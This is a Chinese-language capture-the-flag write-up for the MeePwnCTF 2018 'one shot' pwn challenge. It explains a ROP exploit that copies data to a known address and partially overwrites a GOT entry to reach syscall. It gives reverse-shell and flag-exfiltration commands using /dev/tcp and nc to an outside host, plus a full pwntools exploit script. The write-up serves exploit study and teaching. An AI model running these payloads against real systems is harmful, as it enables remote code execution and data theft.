MeePwnCTF2018:one shot

ROP + 反弹shell

Meepwn CTF 2018 -- one shot分析

题目分析

主函数逻辑

MeePwnCTF2018:one shot_第1张图片
main.png

可以看到主函数中主要做了三件事:

  • 读入用户输入(存在栈溢出)

  • 关闭标准输入、标准输出、标准错误流(这样我们就无法和程序正常交互了)

  • 执行check函数,如果check通过就正常返回;如果不通过,就直接退出。

check逻辑

MeePwnCTF2018:one shot_第2张图片
check.png

check检查你的输入的前4位是否是0x8a919ff0,因此我们后面写payload的时候需要先写这四个字节。

保护情况

MeePwnCTF2018:one shot_第3张图片
checksec.png

仅仅开启了栈不可执行保护,可以ROP攻击。

难点

没有标准输出

就算我们能够通过某些骚操作让程序成功执行了shell命令,但是由于我们不能和程序交互,所以我们得不到命令执行的结果。

只有一次向程序输入的机会

因为程序关闭了stdin、stdout和stderr,这使得我们在第一次输入之后就和程序失去了联系,这将带来以下问题:

  • 无法知道任何动态加载的地址(如libc库函数地址和堆、栈地址),这使得常规ROP无法使用

  • 无法传入字符串参数,如/bin/bash,因为没有库函数(比如write,memcpy)的帮助,不能实现任意地址写。

  • 无法从libc中获取现成的/bin/sh参数

这也是这题为什么叫one shot的原因:)

解决方案

难点1 解决方案

难点1比较好解决,可以用shell命令反弹shell到自己的外网主机:

如命令/bin/bash -c \"bash -i >& /dev/tcp/1.1.1.1/9999 0>&1\"

也可以直接将flag发回自己的外网主机:

如命令/bin/bash -c \"cat /home/one_shot/flag|nc 1.1.1.1 9999\"

至于上面的flag的目录,可以通过经验猜测,也可以通过其他题目得到的shell中的文件命名规则来推理。

难点2解决方案

我们之前分析过,我们无法得到这个程序在远程机器上的任何动态加载的地址,这就意味着我们虽然能够控制程序的执行流,但是却不知道该控制它往哪里执行,因为想要执行一个系统命令,比较广泛使用的有以下技巧:

  1. 修改某个函数的got.plt使其指向system函数的libc地址,并通过ROP传入适当的参数,最后调用这个函数,就能通过system执行系统命令

  2. 通过ROP布置好eax,rdi,rsi,rdx的值,然后通过直接调用syscall来执行系统命令。

就目前的分析来看,我们无法做到上面的任何一点,但是通过深入分析程序,可以发现此题并非无解。

  • 构造任意地址写

    在OpenToAll战队的题解中,使用了一个巧妙的方法来构造任意地址写,我们回过头来看check函数,但是这次我们直接看它的汇编代码:

MeePwnCTF2018:one shot_第4张图片

可以看到在0x400684~0x40069f这段代码,将rdi存储的地址中的值依次复制到rsi寄存器存储的地址中,复制的长度为eax中存储的值,并且这个函数一直到执行结束都没有对栈底的修改操作,因此这个函数执行完,我们还是可以继续ROP。那么我们通过ROP来控制rdi、rsi以及eax的值,就能够实现任意地址写。

  • 写入字符串参数

    程序中当然不会有我们想要的反弹shell的命令,因此我们需要通过那唯一的一次输入来写入我们要执行的命令,但是我们知道这次输入是存储在栈上的,而栈地址是我们不可知的,那么我们现在要做的就是将栈上的数据转移到一个我们知道的地址中去。

    这也是一个很难发现的点,但是人家就是发现了orz。仔细观察开篇处的check函数,可以看到这个函数的第一个参数是&buf即一个栈地址,存储在rdi中,且在这个函数返回时,rdi的值存储的是buf+4

    main函数中,在check返回之后也并没有对rdi做任何修改,因此得到一个重要的结论:main函数返回时,rdi存储的就是存有我们输入的栈地址值。

    因此我们通过ROP来布置rsi,eax的值之后,就可以用上一步构造的任意地址写来将我们的输入复制到一个我们知道的可写的地址,这个地址的获得可以在本地调试一下这个程序,找到一个用户空间中的可写地址即可,如下图:

    MeePwnCTF2018:one shot_第5张图片
    find_writable.png

0x601000~0x602000都是可读可写的,我们从中随意取一个地址来用即可。

  • 获取syscall

    解决了传参的问题,现在要解决最关键的问题:找到syscall的地址

    通过上面的分析,我们并不知道syscall的地址,但是可以通过覆盖alarm函数的got.plt表的最后一字节来实现:

    • 题目是给了目标系统的libc的,我们来看看alarm在该系统库中的实现:

alarm.png

​ 看到这个函数中就有syscall,接下来想办法使用这个syscall即可。

  • 我们知道,在Linux操作系统中,加载基址是页对齐的(4K),因此尽管libc的加载基址随机,其最后12位也一定是全0。因此libc中的函数的最后三个字节在不同的系统上都是相同的,我们假设libc加载基址是0xffff00000则这个alarm函数的运行时地址就是0xffffb8140,这个地址会通过延迟绑定,被写入到got.plt表中,而如果在这个地址被写入got.plt之后,我们修改got.plt的对应表项的最后一字节为0x45,那么这个got.plt实际上存储的是0xffffb8145就是syscall的地址。

  • 接下来我们对alarm的调用都变成了对syscall的调用。

克服了上面的两个难点,接下来就是正常的ROP了,通过上面的分析,我们需要能够实现以下功能的gadget:

  • 给eax赋值

  • 给rdi赋值

  • 给rsi赋值

我使用的gatget都已经在exp的注释中标明。

需要注意的地方

调用syscall来执行execve时,需要往rdx寄存器中存储一个指向null的指针,否则不能正常执行。这里有个trick:通过跳转到puts的plt表来调用puts函数,可以达到上述效果。(经过跟踪流程发现,具体的清空rdx的操作并不是在puts函数中完成,而是在plt跳转后的dl_resolve过程中的dl_fixup函数中完成,又测试了另一个需要dlresolve解析的库函数exit,也能清空rdx =。=)

exp


from pwn import *

libc = ELF("./libc-2.24.so")

io = process("./one_shot",env={"LD_PRELOAD":"./libc-2.24.so"})

copy_function_addr = 0x400684

pop_rdi_ret = 0x400843

pop_rsi_r15_ret = 0x400841

alarm_got = 0x0601020

alarm_plt = 0x0400520

set_eax = 0x04006F7# mov eax, dword ptr [rbp - 0xc]; pop rbx; pop rbp; ret;

set_rbp = 0x4005c0 #pop rbp; ret;

writeable_addr =0x601600  # bss start

len_addr = 0x4002D0 #contains 0x1

random_writeable_addr = 0x601100 # junk addr for rbp

puts_plt = 0x400510

#writeable_addr contains command string "/bin/sh -c echo "hello world" | nc 127.0.0.1 1337"

#["/bin/sh","-c","echo 'hello world' | nc 127.0.0.1 1337"]

payload = p32(0x8A919FF0) + p32(0x3b)

payload += "/bin/sh\x00-c\x00echo 'hello world'|nc 127.0.0.1 1337\x00"

cmdLen = len(payload)

payload += p64(writeable_addr + 4)

payload+= p64(writeable_addr + 4 + 8)#point to -c

payload += p64(writeable_addr + 4 + 8 + 3)#point to echo....

payload = payload.ljust(0x88,"A")

payload += p64(set_rbp)

#now rdi is pointed to the stack buf addr,set rsi and eax

payload += p64(0x400220 + 0x0c)#0x0400368 contains 0x208

payload += p64(set_eax)

payload += "junkjunk"#rbx

payload += p64(random_writeable_addr)#rbp

payload += p64(pop_rsi_r15_ret)

payload += p64(writeable_addr)

payload += "junkjunk" #r15

#copy 0x208 bytes from stack buf to writeable address

payload += p64(copy_function_addr)

payload += "junkjunk"#rbx

payload += p64(random_writeable_addr)#rbp

#set rbp to the len address + 0x0c

payload += p64(set_rbp)

payload += p64(len_addr+0x0c)

#mov eax,dword ptr[rpb - 0x0c]

payload += p64(set_eax)

payload += "junkjunk"# rbx

payload += p64(random_writeable_addr)# rbp

#set rdi,rsi

payload += p64(pop_rdi_ret)

payload += p64(0x4009CB)#contains 0x45 

payload += p64(pop_rsi_r15_ret)

payload += p64(alarm_got)

payload += "junkjunk" # r15

# copy 0x45 to the last byte of alarm_got,pointing to syscall

# so we can use alarm as syscall

payload += p64(copy_function_addr)

payload += "junkjunk"#rbx

payload += p64(random_writeable_addr) # rbp

payload += p64(puts_plt)# to set rdx to null

#set eax to 0x3b (execve's syscall number)

payload += p64(set_rbp)

payload += p64(writeable_addr + 0x0c) #store 0x3b(dw)

payload += p64(set_eax)

payload += "junkjunk" #rbx

payload += p64(random_writeable_addr)#rbp

#set rdi and rsi to cat flag

payload += p64(pop_rsi_r15_ret)

payload += p64(writeable_addr + cmdLen - 4)

payload += "junkjunk"#r15

payload += p64(pop_rdi_ret)

payload += p64(writeable_addr + 4)# start of /bin/sh

payload += p64(alarm_plt) #syscall,get flag!

io.sendline(payload)

sleep(10)

心得体会

  • 在x64下使用ROP需要密切关注寄存器的操作,本题中的任意地址写其实不难发现,不要过于依赖工具和F5。

  • 在无法泄露地址的情况下,应该往修改低字节的方向思考,说不定会有启发。

  • 细心。。。那个buf的地址真是挺难发现的。

  • 在关闭了出入输出流的情况下,可以用反弹shell绕过。

其他方法

  • ret2dlresolve(正在研究六星战队的wp)

  • srop(更麻烦)

你可能感兴趣的:(MeePwnCTF2018:one shot)